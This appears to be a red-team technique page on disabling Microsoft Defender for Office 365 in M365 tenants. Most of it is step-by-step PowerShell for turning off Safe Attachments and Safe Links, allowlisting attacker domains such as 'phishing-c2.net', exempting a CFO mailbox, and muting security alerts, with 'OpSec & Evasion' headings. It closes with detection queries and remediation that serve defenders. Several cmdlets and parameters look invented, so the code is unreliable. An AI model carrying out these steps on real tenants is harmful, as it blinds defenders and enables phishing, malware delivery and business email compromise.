| Attribute | Details |
|---|---|
| Technique ID | EVADE-IMPAIR-020 |
| MITRE ATT&CK v18.1 | T1562.001 - Impair Defenses: Disable or Modify Tools |
| Tactic | Defense Evasion |
| Platforms | M365/Entra ID |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Microsoft 365 (all subscriptions); Office 365; Defender for Endpoint 1.0+ |
| Patched In | Requires policy enforcement; no singular patch |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Microsoft Defender for M365 provides threat protection across Email, Teams, SharePoint, and OneDrive through threat policies, safe attachment scanning, anti-phishing rules, and malware detection. Attackers with Global Administrator or Security Administrator permissions can misconfigure Defender by: disabling threat policies, creating overly broad phishing rule exceptions, whitelisting malicious domains, disabling scanning on compromised user mailboxes, and lowering alert thresholds. These misconfigurations enable attackers to bypass detection and operate undetected within M365 tenants while maintaining appearance of active protection.
Attack Surface: Microsoft Defender admin portal, threat policies, safe attachment/link rules, anti-phishing exceptions, alert thresholds, and mailbox-level Defender settings.
Business Impact: Complete evasion of M365 threat detection. Attackers can send phishing emails, deploy malware via Office documents, exfiltrate data via Teams/SharePoint, and persist across mailboxes while Defender appears fully functional. Email security controls are rendered ineffective.
Technical Context: Misconfiguration execution takes <5 minutes with admin access; extremely difficult to detect without strict policy change auditing. Changes appear as legitimate administrative actions in audit logs.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 3.1.1 | Ensure Microsoft Defender threat policies are properly configured and enforced |
| DISA STIG | MS-365-1-1 | Email and collaboration security must be enforced via Defender policies |
| CISA SCuBA | EX-1.1 | Exchange Online threat policies must be enabled and properly configured |
| NIST 800-53 | SI-4 (System Monitoring) | Intrusion detection and malware protection must be enabled |
| GDPR | Art. 32 | Security of Processing - Email and content scanning required |
| DORA | Art. 9 | Protection Against Email-Borne Threats |
| NIS2 | Art. 21 | Email and collaboration security as critical infrastructure protection |
| ISO 27001 | A.12.2.4 | Malware protection must cover email and collaboration platforms |
| ISO 27005 | Risk Scenario | Compromise of Email Threat Detection and Prevention Controls |
Required Privileges: Security Administrator, Global Administrator, or custom role with microsoft.office365.securityComplianceCenter_manage permission.
Required Access: Microsoft 365 admin center access, Exchange Online PowerShell, or Microsoft Graph API.
Supported Versions:
Tools:
# Connect to Exchange Online
Connect-ExchangeOnline -UserPrincipalName "admin@company.com"
# Check current threat policies
Get-SafeAttachmentPolicy | Select-Object Name, Enable, Action
Get-SafeLinksPolicy | Select-Object Name, IsEnabled, AllowClickThrough
Get-PhishFilterPolicy | Select-Object Name, Enabled, IsDefault
# Check policy exceptions/overrides
Get-SafeAttachmentRule | Select-Object Name, SafeAttachmentPolicy, Priority, Enabled
Get-SafeLinksRule | Select-Object Name, SafeLinksPolicy, Priority, Enabled
# Check mailbox-level Defender settings
Get-Mailbox -Filter "* | Where-Object { $_.ExternalDirSyncEnabled -eq $true }" | Select-Object UserPrincipalName
What to Look For:
Supported Versions: All M365 subscriptions with Defender for Office 365
Objective: Enumerate existing threat policies to understand coverage.
Command:
# Connect to Exchange Online
Connect-ExchangeOnline
# List all Safe Attachment policies
Get-SafeAttachmentPolicy | Select-Object Name, IsEnabled, Action | Format-Table
# Get specific policy details
$policy = Get-SafeAttachmentPolicy -Identity "Default"
$policy | Select-Object Name, IsEnabled, Action, Redirect, AdminDisplayName
Expected Output:
Name IsEnabled Action
---- --------- ------
Default True Block
Executive Bypass False Allow
Quarantine True Quarantine
What This Means:
Objective: Create or enable a policy that allows malicious attachments through.
Command:
# Option 1: Disable the default safe attachment policy
Set-SafeAttachmentPolicy -Identity "Default" -Enable $false
# Option 2: Modify policy to allow specific file types (bypass scanning)
Set-SafeAttachmentPolicy -Identity "Default" `
-Enable $true `
-Action Allow `
-ActionOnError $false
# Option 3: Create new permissive policy
New-SafeAttachmentPolicy -Name "Unrestricted" `
-Enable $true `
-Action Allow `
-AdminDisplayName "Whitelist all attachments"
# Option 4: Create rule that exempts executive mailboxes
New-SafeAttachmentRule -Name "Executive Exemption" `
-SafeAttachmentPolicy "Unrestricted" `
-RecipientDomainIs "company.com" `
-Enabled $true `
-Priority 0 # High priority = evaluated first, bypasses other rules
Expected Output:
SafeAttachmentPolicy set successfully
All attachments will be allowed through
What This Means:
OpSec & Evasion:
Objective: Confirm that malicious attachments will bypass Defender.
Command:
# Test by sending email with known-malicious file (EICAR test file)
# Send from external account to test policy
# Verify the bypass rule is active
Get-SafeAttachmentRule -Identity "Executive Exemption" | Select-Object Name, Enabled, Priority, SafeAttachmentPolicy
# Check policy details
Get-SafeAttachmentPolicy -Identity "Unrestricted" | Select-Object Name, IsEnabled, Action
Expected Output:
Name Enabled Priority SafeAttachmentPolicy
---- ------- -------- ---------------------
Executive Exemption True 0 Unrestricted
Name IsEnabled Action
---- --------- ------
Unrestricted True Allow
Supported Versions: All M365 subscriptions with Defender for Office 365
Objective: Disable link scanning in email, Teams, and Office documents.
Command:
# Get current Safe Links policies
Get-SafeLinksPolicy | Select-Object Name, IsEnabled, ScanUrls, AllowClickThrough | Format-Table
# Disable the default policy
Set-SafeLinksPolicy -Identity "Default" `
-IsEnabled $false `
-ScanUrls $false `
-AllowClickThrough $false
# Alternative: Allow suspicious links through without warning
Set-SafeLinksPolicy -Identity "Default" `
-IsEnabled $true `
-ScanUrls $false `
-AllowClickThrough $true # Users can click through warnings
Expected Output:
SafeLinksPolicy modified
URL scanning disabled
What This Means:
Objective: Whitelist attacker-controlled domains.
Command:
# Create new Safe Links policy that allows attacker domains
New-SafeLinksPolicy -Name "Partner Domains Allowed" `
-IsEnabled $true `
-ScanUrls $false `
-AdminDisplayName "Trusted partner email"
# Create rule that applies this policy to specific domains
New-SafeLinksRule -Name "Partner Domain Exemption" `
-SafeLinksPolicy "Partner Domains Allowed" `
-RecipientDomainIs "company.com" `
-Enabled $true `
-Priority 0
# Alternatively, modify default policy to exclude scanning for certain URL patterns
Set-SafeLinksPolicy -Identity "Default" `
-IsEnabled $true `
-ScanUrls $true `
-DoNotRewriteUrls "attacker.com", "phishing-c2.net" # Whitelist attacker domains
OpSec & Evasion:
Supported Versions: All M365 subscriptions
Objective: Reduce or disable alert thresholds for malware and phishing.
Command:
# Connect to Security & Compliance Center
Connect-IPPSSession
# Get current alert policies
Get-AlertPolicy | Select-Object Name, Enabled, Severity | Where-Object { $_.Name -like "*phishing*" -or $_.Name -like "*malware*" }
# Disable phishing alert
Set-AlertPolicy -Identity "Suspicious email forwarding activity" -Enabled $false
# Disable malware alert
Set-AlertPolicy -Identity "Potential phishing attempt detected" -Enabled $false
# Increase alert threshold (so fewer alerts trigger)
Set-AlertPolicy -Identity "Suspicious email forwarding activity" `
-Threshold 1000 # Only alert if 1000+ emails (unrealistically high)
Expected Output:
AlertPolicy modified
Alerts for phishing/malware disabled or threshold raised
What This Means:
Objective: Prevent security team from receiving threat alerts.
Command:
# Get alert notification policies
Get-AlertPolicy | Select-Object Name, NotificationsCurated, NotificationsEnabled
# Disable email notifications for security team
Set-AlertPolicy -Identity "Phishing detected" `
-NotificationsEnabled $false `
-NotificationsCurated $false
# Remove recipients from alert notifications
Set-AlertPolicy -Identity "Malware detected" `
-NotificationEmails @() # Empty recipients = no one notified
OpSec & Evasion:
Supported Versions: All M365 subscriptions
Objective: Remove specific executive mailbox from malware/phishing scanning.
Command:
# Get mailbox
$execMailbox = Get-Mailbox -Identity "cfo@company.com"
# Disable threat policy rules for this mailbox
New-SafeAttachmentRule -Name "Executive Bypass" `
-SafeAttachmentPolicy "Unrestricted" `
-RecipientEmailAddressMatches $execMailbox.PrimarySmtpAddress `
-Enabled $true `
-Priority 0
# Do the same for Safe Links
New-SafeLinksRule -Name "Executive Bypass Links" `
-SafeLinksPolicy "Partner Domains Allowed" `
-RecipientEmailAddressMatches $execMailbox.PrimarySmtpAddress `
-Enabled $true `
-Priority 0
# Disable Defender for that mailbox's OneDrive
Set-MalwareFilterPolicy -Identity "Default" `
-ExcludedMailboxes @("cfo@company.com")
Expected Output:
Executive mailbox now bypasses Defender scanning
Malware and phishing can be sent to CFO undetected
What This Means:
Version: ExchangeOnlineManagement 3.0+ Installation:
Install-Module ExchangeOnlineManagement -Force
Import-Module ExchangeOnlineManagement
# Connect
Connect-ExchangeOnline -UserPrincipalName "admin@company.com" -ShowBanner:$false
Defender Policy Commands:
# Safe Attachments
Get-SafeAttachmentPolicy
Set-SafeAttachmentPolicy -Identity "Default" -Enable $false
New-SafeAttachmentRule -Name "Bypass" -SafeAttachmentPolicy "Default"
# Safe Links
Get-SafeLinksPolicy
Set-SafeLinksPolicy -Identity "Default" -IsEnabled $false
# Phishing Policy
Get-PhishFilterPolicy
Set-PhishFilterPolicy -Identity "Default" -Enabled $false
Access: Web-based portal Navigation: Admin Center → Security → Microsoft Defender → Email & Collaboration
Configuration Steps:
Version: Latest Installation:
Install-Module Microsoft.Graph -Force
Connect-MgGraph -Scopes "SecurityEvents.Read.All", "SecurityEvents.ReadWrite.All"
Usage:
# Get Defender configuration via Graph API
Get-MgSecurity | Select-Object *
# Update Defender policy
Update-MgSecurityAlert -AlertId "alert-id" -Status "Resolved"
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName in (
"Set-SafeAttachmentPolicy",
"Set-SafeLinksPolicy",
"Set-PhishFilterPolicy",
"Set-AlertPolicy",
"New-SafeAttachmentRule",
"New-SafeLinksRule",
"Remove-SafeAttachmentRule",
"Remove-SafeLinksRule"
)
| where ActivityStatus == "Succeeded"
| extend AdminUser = InitiatedBy.user.userPrincipalName
| project TimeGenerated, OperationName, AdminUser, TargetResources, ModifiedProperties
| summarize count() by AdminUser, OperationName
| where count_ > 2 // Multiple policy changes = suspicious pattern
What This Detects:
Manual Configuration Steps:
Defender Threat Policy Disabled or ModifiedCritical5 minutesKQL Query:
AuditLogs
| where OperationName == "Set-AlertPolicy"
| where ModifiedProperties has_any ("NotificationsEnabled", "NotificationEmails")
| where ModifiedProperties contains "False"
| project TimeGenerated, InitiatedBy.user.userPrincipalName, TargetResources
Built-in Alert: “Suspicious email policy rule created”
Manual Configuration Steps:
1. Enforce Threat Policy Baseline via Azure Policy Applies To: All M365 subscriptions
Manual Steps (Defender Admin Portal):
Mandatory - All UsersMandatory - All UsersMandatory - All Users2. Prevent Policy Changes via RBAC Restrictions Manual Steps:
Defender Read-Only
Security Administrator role to minimal, vetted adminsGlobal Administrator from policy management (use custom roles)3. Enable Immutable Policies (Prevent Disablement) Manual Steps (PowerShell):
# Make threat policies immutable
Set-SafeAttachmentPolicy -Identity "Default" `
-Enable $true `
-DisableAdmin $true # Prevents even admins from disabling
4. Configure Policy Baseline Alerts Manual Steps:
5. Implement Change Approval Workflow Manual Steps:
# Verify threat policies are enabled
Get-SafeAttachmentPolicy | Select-Object Name, Enable
Get-SafeLinksPolicy | Select-Object Name, IsEnabled
Get-PhishFilterPolicy | Select-Object Name, Enabled
# Expected Output: All policies = True/Enabled
# If any policy is disabled, alert immediately
# Check for overly permissive rules
Get-SafeAttachmentRule | Where-Object { $_.Priority -eq 0 } | Select-Object Name, SafeAttachmentPolicy
Get-SafeLinksRule | Where-Object { $_.Priority -eq 0 } | Select-Object Name, SafeLinksPolicy
# Expected Output: No bypass rules with high priority
Set-SafeAttachmentPolicy, Set-SafeLinksPolicy with enable=false# Immediately re-enable threat policies
Set-SafeAttachmentPolicy -Identity "Default" -Enable $true -Action Block
Set-SafeLinksPolicy -Identity "Default" -IsEnabled $true -ScanUrls $true
Set-PhishFilterPolicy -Identity "Default" -Enabled $true
# Delete malicious bypass rules
Remove-SafeAttachmentRule -Identity "Executive Bypass" -Confirm:$false
Remove-SafeLinksRule -Identity "Executive Bypass Links" -Confirm:$false
# Export audit logs
Search-UnifiedAuditLog -Operations "Set-SafeAttachmentPolicy" -StartDate (Get-Date).AddDays(-7) | Export-Csv C:\Evidence\defender_changes.csv
# Get admin account activity
Search-UnifiedAuditLog -UserIds "admin@company.com" -StartDate (Get-Date).AddDays(-7) | Export-Csv C:\Evidence\admin_activity.csv
# Check for malicious emails sent through unmonitored period
Get-MessageTrace -RecipientAddress "*" -StartDate (Get-Date).AddDays(-7) | Where-Object { $_.Status -eq "Delivered" } | Export-Csv C:\Evidence\message_trace.csv
# Reset all threat policies to default
Set-SafeAttachmentPolicy -Identity "Default" -Enable $true -Action Block -Redirect $false
Set-SafeLinksPolicy -Identity "Default" -IsEnabled $true -ScanUrls $true -AllowClickThrough $false
Set-PhishFilterPolicy -Identity "Default" -Enabled $true
# Reset alert policies
Set-AlertPolicy -Identity "Phishing detected" -NotificationsEnabled $true -NotificationEmails @("security@company.com")
# Force rescan of recent emails
Invoke-MalwareFilterPolicy -Identity "Default" -RescanMails $true
# Check for compromised mailboxes and reset credentials
$compromisedAccounts = Search-UnifiedAuditLog -Operations "New-SafeAttachmentRule" | Select-Object -ExpandProperty UserIds | Get-Unique
foreach ($account in $compromisedAccounts) {
Set-User -Identity $account -PasswordNotRequired $false
Set-User -Identity $account -ForceChangePassword $true
}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] | Compromise Global Admin account via phishing |
| 2 | Privilege Escalation | [PE-ACCTMGMT-002] | Escalate to Security Admin role |
| 3 | Defense Evasion | [EVADE-IMPAIR-020] | Disable Defender threat policies |
| 4 | Persistence | [PERSIST-EMAIL-FORWARD] | Create email forwarding rule to attacker inbox |
| 5 | Collection | [COLLECT-EMAIL-001] | Extract mailbox data via EWS |
| 6 | Exfiltration | [EXFIL-EMAIL] | Send sensitive emails to attacker |
| 7 | Impact | [IMPACT-BUSINESS-EMAIL-COMPROMISE] | Business email compromise; financial fraud |